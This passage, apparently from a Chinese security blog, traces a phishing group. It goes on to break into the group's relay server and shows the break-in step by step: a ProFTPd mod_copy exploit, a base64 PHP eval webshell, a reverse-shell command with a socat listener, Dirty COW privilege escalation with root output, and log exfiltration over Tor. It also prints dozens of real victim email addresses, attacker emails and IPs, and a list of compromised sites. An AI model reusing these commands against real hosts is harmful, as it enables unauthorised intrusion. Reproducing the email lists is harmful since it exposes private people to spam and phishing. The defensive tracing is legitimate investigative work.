wget  http://zebramedia.al/zebramedia.al-log.tar.gzwget  http://zebramedia.al/zebramedia.al-www.tar.gz-rw-r--r-- 1 1365 1328   478714 11月 30 21:15 evropakrijuese.publik.live-Nov-2018.gz-rw-r--r-- 1 1365 1328     6463 11月 30 21:15 evropakrijuese.publik.live-ssl_log-Nov-2018.gz-rw-r--r-- 1 1365 1328  1855430  6月  30  2018 ftp.publik.live-ftp_log-Jun-2018.gz-rw-r--r-- 1 1365 1328     7899 11月 27 21:12 ftp.publik.live-ftp_log-Nov-2018.gz-rw-r--r-- 1 1365 1328 22883767 11月 30 21:15 ief.publik.live-Nov-2018.gz-rw-r--r-- 1 1365 1328    67526 11月 30 21:15 ief.publik.live-ssl_log-Nov-2018.gz-rw-r--r-- 1 1365 1328    68187 11月 30 21:15 instadyqan.publik.live-Nov-2018.gz-rw-r--r-- 1 1365 1328    34530 11月 30 21:15 instadyqan.publik.live-ssl_log-Nov-2018.gz-rw-r--r-- 1 1365 1328    35748 11月 30 21:15 pigmentnews.publik.live-Nov-2018.gz-rw-r--r-- 1 1365 1328     7709 11月 28 21:15 pigmentnews.publik.live-ssl_log-Nov-2018.gz-rw-r--r-- 1 1365 1328   129055 11月 30 21:15 publik.live-Nov-2018.gz-rw-r--r-- 1 1365 1328    14487 11月 30 21:15 publik.live-ssl_log-Nov-2018.gz-rw-r--r-- 1 1365 1328    88292 11月 30 21:15 zebramedia.publik.live-Nov-2018.gz-rw-r--r-- 1 1365 1328   139759 11月 30 21:15 zebramedia.publik.live-ssl_log-Nov-2018.gz-rw-r--r-- 1 1365 1328  6047261 11月 30 21:15 zeri-popullit.publik.live-Nov-2018.gz-rw-r--r-- 1 1365 1328    52004 11月 30 21:15 zeri-popullit.publik.live-ssl_log-Nov-2018.gz

分析

根据后门文件名,匹配Apache访问日志,到攻击者代理IP和User Agent。 ⚡ root@kali  /tmp/zebramedia.al/log/home/vayqpdvg/logs  grep "INSTALL.sql.txt.php" * |grep "php" | awk -F ":" '{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort |uniq148    197.211.61.82 (尼日利亚)8      178.128.221.199 (希腊) ⚡ root@kali  /tmp/zebramedia.al/log/home/vayqpdvg/logs  grep "INSTALL.sql.txt.php" * | grep "php" |grep "POST" |awk -F ":" '{print $2 $6}' |sort |uniq178.128.221.199 - - [29/Nov/2018//www.zebramedia.al/wp-content/themes/shells/INSTALL.sql.txt.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36"197.211.61.82 - - [29/Nov/2018//www.zebramedia.al/wp-content/themes/shells/INSTALL.sql.txt.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"

4.5.2 网站:helioncomposites.com

打包

日志路径:/home2/helionco/access-logs/helioncomposites.com/日志备份:ls /home2/helionco/logs/ftp.helioncomposites.com-ftp_log-Feb-2018.gz    helioncomposites.com-Dec-2018.gz    helioncomposites.com-Nov-2018.gz    helioncomposites.com-ssl_log-Dec-2018.gz    helioncomposites.com-ssl_log-Nov-2018.gz    tar zcvf /home2/helionco/www/helioncomposites.com-www.tar.gz --exclude=/home2/helionco/www/helioncomposites.com-www.tar.gz  /home2/helionco/www/tar zcvf /home2/helionco/www/helioncomposites.com-log.tar.gz /home2/helionco/logs/ /home2/helionco/access-logs/helioncomposites.com/

下载

wget  http://helioncomposites.com/helioncomposites.com-log.tar.gzwget  http://helioncomposites.com/helioncomposites.com-www.tar.gz

分析

根据后门文件名,匹配Apache访问日志,到攻击者代理IP和User Agent。 ⚡ root@kali  /tmp  grep ".php" * |grep "/home2/helionco/public_html/" |grep  "HTTP\/1.1\" 200" |awk -F ":" '{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort -t " " -k 1 -n -r >ip.txt1137 198.143.51.17588 198.143.38.3478 198.143.41.14246 198.143.32.13131 198.143.32.3103 198.143.57.386 198.143.57.7384 198.143.57.546 198.143.32.1032 198.143.37.15...... ⚡ root@kali  /tmp  for line in $(</ip.txt); do curl https://ip.cn/\?ip\=$line ; doneIP: 198.143.51.17 来自: 以色列 IncapsulaIP: 198.143.38.3 来自: 美国 IncapsulaIP: 198.143.41.14 来自: 美国 IncapsulaIP: 198.143.32.13 来自: 美国 IncapsulaIP: 198.143.32.3 来自: 美国 IncapsulaIP: 198.143.57.3 来自: 美国 IncapsulaIP: 198.143.57.73 来自: 美国 IncapsulaIP: 198.143.57.5 来自: 美国 IncapsulaIP: 198.143.32.10 来自: 美国 Incapsula......

这个网站由于日志不全,提取出的IP大都是爬虫IP,所以不纳入最终的汇总。


4.5.3 发现钓鱼程序

网站 zebramedia.al 上发现多个攻击者放置的钓鱼程序和模板。

针对Dropbox

如何通过一封恶意邮件追踪幕后黑客组织

针对Gmail

如何通过一封恶意邮件追踪幕后黑客组织

4.6 关联分析

使用之前得到的后门文件中的关键字( config.php)对这3个网站文件进行匹配,发现其中2个存在相同后门文件,并且文件MD5值相同。

 ⚡ root@kali  /tmp  find . -name "*.php" |xargs grep  "\$bm_____s" |awk -F ":" '{print $1}' ./rosturplast.com/www/rosturplast.com/shells/config.php./mirohaviar.sk/www/config.php./zebramedia.al/www/zebramedia.al/config.php./www.radiolanalhue.cl/www/public_html/online/administrator/templates/bluestork/config.php

后门文件MD5

 ⚡ root@kali  /tmp  find . -name "*.php" |xargs grep  "\$bm_____s" |awk -F ":" '{print $1}' |xargs md5sume5c06f1f66781ba5c39d909096c4cd47  ./rosturplast.com/www/rosturplast.com/shells/config.phpe5c06f1f66781ba5c39d909096c4cd47  ./mirohaviar.sk/www/config.phpe5c06f1f66781ba5c39d909096c4cd47  ./zebramedia.al/www/zebramedia.al/config.phpe5c06f1f66781ba5c39d909096c4cd47  ./www.radiolanalhue.cl/www/public_html/online/administrator/templates/bluestork/config.php

五、渗透攻击者傀儡服务器

5.1 漏洞扫描

目标:187.85.134.4

[+] HOST: 187.85.134.4(巴西) [+] OS: Ubuntu [+] Web Server: Apache/2.2.22 / PHP/5.3.10-1ubuntu3.19 [+] CMS: 未知

nmap --script=firewalk --traceroute 187.85.134.4
如何通过一封恶意邮件追踪幕后黑客组织

5.2 漏洞利用

端口扫描发现目标 FTP Server为 ProFTPd1.3.4a,这个版本和 1.3.5存在未授权文件复制漏洞,我们可以通过这个漏洞往Web目录写入一个WebShell。

ProFTPd 1.3.5 Remote Command Execution(CVE-2015-3306) ProFTPD中使用的mod_copy模块存在未授权访问风险,导致ProFTPD自带的命令 SITE CPFR 和 SITE CPTO可在未登录ftp
如何通过一封恶意邮件追踪幕后黑客组织

5.2 获取权限

使用用MSF执行

如何通过一封恶意邮件追踪幕后黑客组织

得到一个cmd功能的WebShell

如何通过一封恶意邮件追踪幕后黑客组织

写入中国菜刀客户端

http://187.85.134.4/lndex.php?img=echo PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+Cg== |base64 -
如何通过一封恶意邮件追踪幕后黑客组织

5.3 文件分析

在Web目录下面发现用于发送钓鱼邮件的perl脚本、邮件钓鱼样本和大量的邮箱地址。以及挖矿后门、DDOS脚本等。

如何通过一封恶意邮件追踪幕后黑客组织
如何通过一封恶意邮件追踪幕后黑客组织

5.3.1 钓鱼模板

图示是针对丹麦丹斯克银行(Danske Bank)和希腊阿尔法银行(Alpha Bank)的邮件钓鱼样本。

如何通过一封恶意邮件追踪幕后黑客组织
如何通过一封恶意邮件追踪幕后黑客组织
如何通过一封恶意邮件追踪幕后黑客组织
如何通过一封恶意邮件追踪幕后黑客组织
如何通过一封恶意邮件追踪幕后黑客组织
如何通过一封恶意邮件追踪幕后黑客组织

5.3.2 僵尸网络程序

如何通过一封恶意邮件追踪幕后黑客组织
如何通过一封恶意邮件追踪幕后黑客组织

5.3.3 DDOS脚本

如何通过一封恶意邮件追踪幕后黑客组织

5.3.4 邮箱地址

统计目录下的 txt 文本数量,发现共有六十二万四千个邮箱地址。

 ⚡ root@kali  /tmp/187.85.134.4/www/cat  wc -l *.txt     624000 总用量

主流邮箱检索

 ⚡ root@kali  /tmp/187.85.134.4/www/cacat  grep "@gmail.com" *.txt |head -n 20 a0000001.txt:a.l.v.e.rtadsmileyksso@gmail.coma0000001.txt:a.l.v.ertadsmileyksso@gmail.coma0000001.txt:a.lfer.gm@gmail.coma0000001.txt:a.lieseijsink@gmail.coma0000001.txt:a.linkhusen@gmail.coma0000001.txt:a.loldrup@gmail.coma0000001.txt:a.lovendahl@gmail.coma0000001.txt:a.lv.e.rtadsmileyksso@gmail.coma0000001.txt:a.lver.tadsmileyksso@gmail.coma0000001.txt:a.m.edsberg@gmail.coma0000001.txt:a.m.morcke@gmail.coma0000001.txt:a.m.quist@gmail.coma0000001.txt:a.m.svendsen@gmail.coma0000001.txt:a.merete.p@gmail.coma0000001.txt:a.mette.sm@gmail.coma0000001.txt:a.miller8111@gmail.coma0000001.txt:a.moejbaek@gmail.coma0000001.txt:a.moltkehansen@gmail.coma0000001.txt:a.munktved@gmail.coma0000001.txt:a.n.knutzen@gmail.com ⚡ root@kali  /tmp/187.85.134.4/www/cat  grep "@outlook.com" *.txt |head -n 20a0000001.txt:a.m.westra@outlook.coma0000001.txt:a.olsen@outlook.coma0000002.txt:aagren@outlook.coma0000003.txt:aandanimalcity@outlook.coma0000003.txt:aarhus-ungegruppe@outlook.coma0000004.txt:aase.lousdal@outlook.coma0000006.txt:abroschultz@outlook.coma0000008.txt:adamfred2@outlook.coma0000008.txt:adexecsolution@outlook.coma0000010.txt:adrian.f.a.svendsen@outlook.coma0000015.txt:aiah@outlook.coma0000015.txt:aimeegarcia584@outlook.coma0000016.txt:ajolicoeu@outlook.coma0000018.txt:akstrup@outlook.coma0000020.txt:alexander_bangsborg@outlook.coma0000020.txt:alexanderkopke@outlook.coma0000020.txt:ali__sivan@outlook.coma0000021.txt:alicegerner@outlook.coma0000022.txt:allanjeppesen@outlook.coma0000023.txt:allworlduseu@outlook.com ⚡ root@kali  /tmp/187.85.134.4/www/cat  grep "@163.com" *.txt |head -n 20a0000001.txt:a31a18615@163.coma0000001.txt:a398c671@163.coma0000059.txt:backlink0321@163.coma0000061.txt:banqianm8256@163.coma0000075.txt:bf86ad32@163.coma0000121.txt:cbb146672@163.coma0000129.txt:chenbin800519@163.coma0000134.txt:chuofuh3082@163.coma0000157.txt:davidhuang001@163.coma0000162.txt:dfjiuew@163.coma0000209.txt:f08dbf326@163.coma0000213.txt:fanxued79193@163.coma0000221.txt:fjfzpy@163.coma0000227.txt:fon@163.coma0000259.txt:guangdk@163.coma0000311.txt:huhuanqiang00161@163.com

5.4 提权

5.4.1 CVE-2013-2094,CVE-2013-1763提权

查看apache日志目录,发现没有权限。

[/var/www/]$ls -al /var/log/apache2/ls: cannot open directory /var/log/apache2/: Permission denied

内核版本为 3.5.0-23,尝试提权。

[/var/www/]$cat /etc/issueUbuntu 12.04.2 LTS \n \l[/var/www/]$uname -anLinux medidor2 3.5.0-23-generic #35~precise1-Ubuntu SMP Fri Jan 25 17:15:33 UTC 2013  GNU
如何通过一封恶意邮件追踪幕后黑客组织
  1. WebShell反弹:
  2. [/var/www/]$cd /var/tmp;./pty xxx.xxx.xxx.xxx 443
  3. 外网VPS监听:
  4. socat file:`tty`,echo=0,raw tcp-listen:443
如何通过一封恶意邮件追踪幕后黑客组织

实际测试 CVE-2013-2094,CVE-2013-1763均无法提权。

CVE-2013-2094Linux Kernel 3.2.0-23/3.5.0-23 (Ubuntu12.04/12.04.1/12.04.2 x64) - 'perf_swevent_init' Local Privilege Escalation (3)CVE-2013-1763Linux Kernel < 3.5.0-23 (Ubuntu 12.04.2 x64) - 'SOCK_DIAG' SMEP Bypass Local Privilege Escalation

5.4.2 脏牛提权

祭出大杀器CVE-2016-5195(脏牛) , 理论上通杀 2.6.22 < 3.9 (x86/x64)的内核版本。

在本地环境提权测试过程中发现,i386架构下使用cowroot提权时EXP会破坏源文件,导致提权失败。而使用dirtycow-mem仅修改内存则没有问题,但是存在内核崩溃的风险。这两个EXP都是利用/proc/self/mem提权,前一个修改文件,后一个修改内存。

如图所示:

如何通过一封恶意邮件追踪幕后黑客组织

使用dirtycow-mem.c提权时需要注意:i386架构下编译前需要将源代码中libc路径修改为目标系统libc路径,否则执行时找不到文件。

#define SHELLCODE    "\x31\xc0\xc3"#define SPACE_SIZE    256#define LIBC_PATH    "/lib/x86_64-linux-gnu/libc.so.6"  ## 改为 /lib/i386-linux-gnu/libc.so.6#define LOOP        0x1000000#ifndef PAGE_SIZE#define PAGE_SIZE 4096

Give me root  :),提权成功。

www-data@medidor2:/tmp$gcc -Wall -o hello dirtycow-mem.c -ldl -lpthreadwww-data@medidor2:/tmp$ lshellowww-data@medidor2:/tmp$ chmod +x hellowww-data@medidor2:/tmp$ iduid=33(www-data) gid=33(www-data) groups=33(www-data)www-data@medidor2:/tmp$ ./hello[*] range: b7573000-b7716000][*] getuid = b762bd10[*] mmap 0xb73cb000[*] exploiting (patch)[*] patched (madviseThread)[*] patched (procselfmemThread)root@medidor2:/tmp# [*] exploiting (unpatch)[*] unpatched: uid=33 (madviseThread)[*] unpatched: uid=33 (procselfmemThread)root@medidor2:/tmp# iduid=0(root) gid=0(root) groups=0(root)

打包Apache日志。

✘ ⚡ root@kali  ls /var/log/apache2access  error  other_vhosts_access.log✘ ⚡ root@kali  tar zcvf /var/www/apache2-log.tar.gz  /var/log/apache2/✘ ⚡ root@kali  /tmp  ltor wget http://187.85.134.4/apache2-log.tar.gz  [proxychains] config file found: /data/app/local/proxychains_local_tor/proxychains.conf[proxychains] preloading /data/app/local/proxychains_local_tor/libproxychains4.so[proxychains] DLL init--2011-11-11 11:11:11--  http://187.85.134.4/apache2-log.tar.gz正在连接 187.85.134.4:80... [proxychains] Strict chain  ...  127.0.0.1:9050  ...  187.85.134.4:80  ...  OK已连接。已发出 HTTP 请求,正在等待回应... 200 OK长度:9258688 (8.8M) [application/x-gzip]正在保存至: “apache2-log.tar.gz”apache2-log.tar.gz  100%[===================>]   8.83M  29.6KB/s  用时 5m 45s  2018-11-11 11:11:11 (26.2 KB/s) - 已保存 “apache2-log.tar.gz” [9258688/9258688])

5.5 分析日志

分析IP访问情况

⚡ root@kali  /tmp/  grep "/cacat/" * |grep "php" | awk -F ":" '{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort -t " " -k 1 -n -r >ip.txt95 185.56.80.13877 197.211.60.5270 67.71.3.859 207.35.210.3541 99.226.207.4641 193.215.40.23839 197.211.59.16338 82.61.95.13238 66.249.73.9537 76.26.34.18137 197.234.221.7731 105.112.27.6029 105.112.23.4120 109.166.138.6816 66.249.79.6116 197.211.61.1814 212.100.77.19112 197.234.221.2108 66.249.79.358 66.249.73.647 154.118.69.1655 66.249.73.67...... ⚡ root@kali  /tmp  for line in $(<ip.txt); do curl https://ip.cn/\?ip\=$line ; doneIP: 185.56.80.138 来自: 荷兰 IP: 197.211.60.52 来自: 尼日利亚 IP: 67.71.3.8 来自: 加拿大 IP: 207.35.210.35 来自: 加拿大 IP: 99.226.207.46 来自: 加拿大 IP: 193.215.40.238 来自: 挪威 IP: 197.211.59.163 来自: 尼日利亚IP: 82.61.95.132 来自: 意大利 IP: 66.249.73.95 来自: Google 骨干网IP: 76.26.34.181 来自: 美国 IP: 197.234.221.77 来自: 贝宁 IP: 105.112.27.60 来自: 尼日利亚 IP: 105.112.23.41 来自: 尼日利亚 IP: 109.166.138.68 来自: 罗马尼亚 IP: 66.249.79.61 来自: Google 骨干网IP: 197.211.61.18 来自: 尼日利亚 IP: 212.100.77.191 来自: 尼日利亚 IP: 197.234.221.210 来自: 贝宁 IP: 66.249.79.35 来自: Google 骨干网IP: 66.249.73.64 来自: Google 骨干网IP: 154.118.69.165 来自: 尼日利亚 IP: 66.249.73.67 来自: Google 骨干网......

根据路径名判断,疑似受害者访问了钓鱼页面。

 ⚡ root@kali  /tmp/ grep "/cacat" *| grep "php" |grep "POST" |awk -F ":" '{print $2 $6}' |sort |uniq 109.166.138.68 - - [31/Jan/2018//187.85.134.4/cacat/portal/portal/userlogin.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"109.166.138.68 - - [31/Jan/2018//187.85.134.4/cacat/portal/portal/userlogin.php?sfm_sid=120" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"185.56.80.138 - - [31/Jan/2018//187.85.134.4/cacat/portal/portal/userlogin.php?sfm_sid=8425" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36"196.52.34.20 - - [12/Oct/201835.0) Gecko/20100101 Firefox/35.0"207.35.210.35 - - [21/Aug/2018//187.85.134.4/cacat/win2018/winbnk/EBlogin.html?sitecode=GR&lang=el-GR" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36"197.211.60.52 - - [07/Sep/2018:16:02:40 -0300] "GET /cacat/nnnnn.zip HTTP/1.1" 200 4489167 "http://187.85.134.4/cacat/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"

查看web目录下txt文件访问情况,总共有一万多IP。访问地址包含受害者主机IP、各种搜索引擎爬虫IP、各路黑客的IP等等。

grep "/cacat/" * |grep "txt" | awk -F ":" '{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort -t " " -k 1 -n -r  >ip.txt
 ⚡ root@kali  ~/Desktop  wc -l ip.txt                                                        10101 ip.txt

5.6 访问IP热力图

5.6.1 IP转经纬度坐标

将获得的IP转换成经纬度坐标,再通过百度地图API生成热力图

将IP转换成经纬度坐标,脚本: ip2xy.py生成经纬度坐标文件: point.js全球IP库: GeoLiteCity.dat

#!/usr/bin/python#coding:utf-8import pandas as pdimport pygeoipimport typesimport sysgi = pygeoip.GeoIP('/tmp/GeoLiteCity.dat', pygeoip.MEMORY_CACHE)def getLocal(ip):    if type(ip) != types.StringType:        print ip        return    location = gi.record_by_addr(ip)    if location is None:        print ip        return    lng = location['longitude']    lat = location['latitude']    str_temp = '{"lat":' + str(lat) + ',"lng":' + str(lng) + '},\n'    print ip,lng,lat,str_temp    file.write(str_temp)file = open('/tmp/point.js', 'w')file.write("var points =[\n")with open("/tmp/ip.txt") as f:    i = 0    for ip in  f.readlines():        getLocal(ip)file.write("];\n")file.close()

5.6.2 调用百度地图API

本地调用百度地图 JavaScript API: map.html

<!DOCTYPE html><html lang="en"><head><!DOCTYPE html><html><head>    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />    <meta name="viewport" content="initial-scale=1.0, user-scalable=no" />    <script type="text/javascript" src="http://api.map.baidu.com/api?v=2.0&ak=填写自己的百度AK"></script>    <script type="text/javascript" src="http://api.map.baidu.com/library/Heatmap/2.0/src/Heatmap_min.js"></script><script type="text/javascript" src="./point.js"></script>    <title>热力图功能示例</title>    <style type="text/css">        ul,li{list-style: none;margin:0;padding:0;float:left;}        html{height:100%}        body{height:100%;margin:0px;padding:0px;font-family:"微软雅黑";}        #container{height:100%;width:100%;}        #r-result{width:100%;}    </style></head><body>    <div id="container"></div>    <div id="r-result" style="display:none">        <input type="button"  onclick="openHeatmap();" value="显示热力图"/><input type="button"  onclick="closeHeatmap();" value="关闭热力图"/>    </div></body></html><script type="text/javascript">    var map = new BMap.Map("container");          // 创建地图实例    var point = new BMap.Point(34.0224714118,109.0786868715);    map.centerAndZoom(point, 6);             // 初始化地图,设置中心点坐标和地图级别    map.setCurrentCity("西安");       //设置当前显示城市    map.enableScrollWheelZoom(); // 允许滚轮缩放    if(!isSupportCanvas()){        alert('热力图目前只支持有canvas支持的浏览器,您所使用的浏览器不能使用热力图功能~')    }    //详细的参数,可以查看heatmap.js的文档 https://github.com/pa7/heatmap.js/blob/master/README.md    //参数说明如下:    /* visible 热力图是否显示,默认为true     * opacity 热力的透明度,1-100     * radius 势力图的每个点的半径大小     * gradient  {JSON} 热力图的渐变区间 . gradient如下所示     *  {            .2:'rgb(0, 255, 255)',            .5:'rgb(0, 110, 255)',            .8:'rgb(100, 0, 255)'        }        其中 key 表示插值的位置, 0~1.            value 为颜色值.     */    heatmapOverlay = new BMapLib.HeatmapOverlay({"radius":100,"visible":true});    map.addOverlay(heatmapOverlay);    heatmapOverlay.setDataSet({data:points,max:100});    //closeHeatmap();    //判断浏览区是否支持canvas    function isSupportCanvas(){        var elem = document.createElement('canvas');        return !!(elem.getContext && elem.getContext('2d'));    }    function setGradient(){        /*格式如下所示:        {            0:'rgb(102, 255, 0)',            .5:'rgb(255, 170, 0)',            1:'rgb(255, 0, 0)'        }*/        var gradient = {};        var colors = document.querySelectorAll("input[type='color']");        colors = [].slice.call(colors,0);        colors.forEach(function(ele){            gradient[ele.getAttribute("data-key")] = ele.value;        });        heatmapOverlay.setOptions({"gradient":gradient});    }    function openHeatmap(){        heatmapOverlay.show();    }    function closeHeatmap(){        heatmapOverlay.hide();    }</script></body></html>

5.6.3 生成热力图

如图所示,欧洲IP居多,亚洲也不少。至于有多少主机沦陷和多少受害者上钩,无法准确判断。

如何通过一封恶意邮件追踪幕后黑客组织
如何通过一封恶意邮件追踪幕后黑客组织
如何通过一封恶意邮件追踪幕后黑客组织

六、信息汇总

根据所得信息汇总,对这个黑客组织信息进行简单分析,仅供参考。

6.1 组织信息

名称:

Muslim Cyber Corp – Mujahidin Cyber Army – Family Attack Cyber

地区:

巴勒斯坦

成员ID:

HawkB404 、 MR.S1NSY 、 koneksi eror 、 GU3LT03M 、 SinonX 、 ./B4Z1R007 、 ./Bl4ckJ4ck 、 anon99husein 、 4GottenName 、Gantai 、 4nzeL4 、 AKEMI403

历史邮箱:

alexsin54@yahoo.com jasonchowan223@gmail.com macacperus@yopmail.com bidibidibidi@yopmail.com bidi.pici11@hotmail.com bidi.cuc@mail.com flrnvasilica@gmail.com

组织主页:

http://mujahidincyberarmy.blogspot.com/ https://www.facebook.com/FamilyAttackCyberOfficial/

6.2 攻击手段

入侵使用Wordpress、Joomla! CMS的网站、放置钓鱼程序,批量传播钓鱼邮件。

攻击目标:

早期政治目的居多,主要攻击美国政府机构网站和雇员。近期多为商业目的,主要针对欧洲银行客户以及亚洲金融机构雇员进行邮件钓鱼。

控制主机:

187.85.134.4

常用后门:

6.3 攻击历史

美国联邦调查局、美国国土安全部、美国司法部

巴勒斯坦黑客已经发布了大约2万名联邦调查局(FBI)和9,000名国土安全部(DHS)官员的个人信息 http://mujahidincyberarmy.blogspot.com/2016/12/inilah-data-informasi-pribadi-20-ribu.html

通过钓鱼邮件获得美国司法部权限 http://mujahidincyberarmy.blogspot.com/2016/02/hacker-pro-palestina-terbitkan.html

6.4 代理IP

174.85.145.99 (美国) - - [27/Nov/2018:23:35:31 +0300] "POST /shells/bacu.php HTTP/1.1" 200 4731 "http://www.rosturplast.com/shells/bacu.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"50.73.252.169 (美国) - - [29/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"213.233.104.120 (罗马尼亚) - - [27/Nov/2018:22:10:03 +0300] "GET /shells/config.php HTTP/1.1" 200 124 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0"207.228.149.69 (百慕大 ) - - [28/Nov/2018:23:12:54 +0300] "POST /shells/config.php HTTP/1.1" 200 3729 "http://www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"195.211.23.207 (俄罗斯) - - [27/Nov/2018:22:36:50 +0300] "GET /shells/config.php HTTP/1.1" 200 124 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"29.205.113.8 (尼日利亚) - - [30/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36"212.1.211.3 (美国) - - [30/Nov/2018:13:35:36 -0300] "GET /online/templates/beez5/bc.php HTTP/1.1" 200 16823 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"178.128.221.199 (希腊)- - [29/Nov/2018//www.zebramedia.al/wp-content/themes/shells/INSTALL.sql.txt.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36"197.211.61.82 (尼日利亚) - - [29/Nov/2018//www.zebramedia.al/wp-content/themes/shells/INSTALL.sql.txt.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"

6.5 被黑网站

不完全统计rosturplast.commirohaviar.skhelioncomposites.comradiolanalhue.clzebramedia.alwww.qtfontebispo.comwww.seoeaze.comvilapoucadeaguiar.comproyectosphr.clu-p.comwww.humanaconsultores.clamsogroup.comwww.tdftechnologies.comwww.bvvagos.ptwww.huellasdigitales.cllince.apsl.edu.plwww.fica.unsl.edu.arproyectosphr.clwww.zlobek.uw.edu.plifr.ptmail.ijrer.orgwww.hkmms.org.hkhistoria.apsl.edu.plwww.homeguide.com.sgonlinecombos.co.inumo.apsl.edu.plwww.bpmp2t.lombokbaratkab.go.idamsogroup.comviper.clwww.teniscavancha.clwww.estacaomedica.ptterrarestobar.cljf-bragado.pthelioncomposites.comnotariabasualto.clericdiblasi.comreinamarltda.clcobraz.ptwww.stmarypellaia.comwebcam.wm-itservice.at

七、攻击路径还原

复盘整个溯源过程,还原攻击者攻击路径。

如何通过一封恶意邮件追踪幕后黑客组织

本文来自https://mp.weixin.qq.com/s/2_-dXLwkC3slFYV4lBsp2w,经授权后发布,本文观点不代表立场,转载请联系原作者。

联系我们

400-800-8888

在线咨询:点击这里给我发消息

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息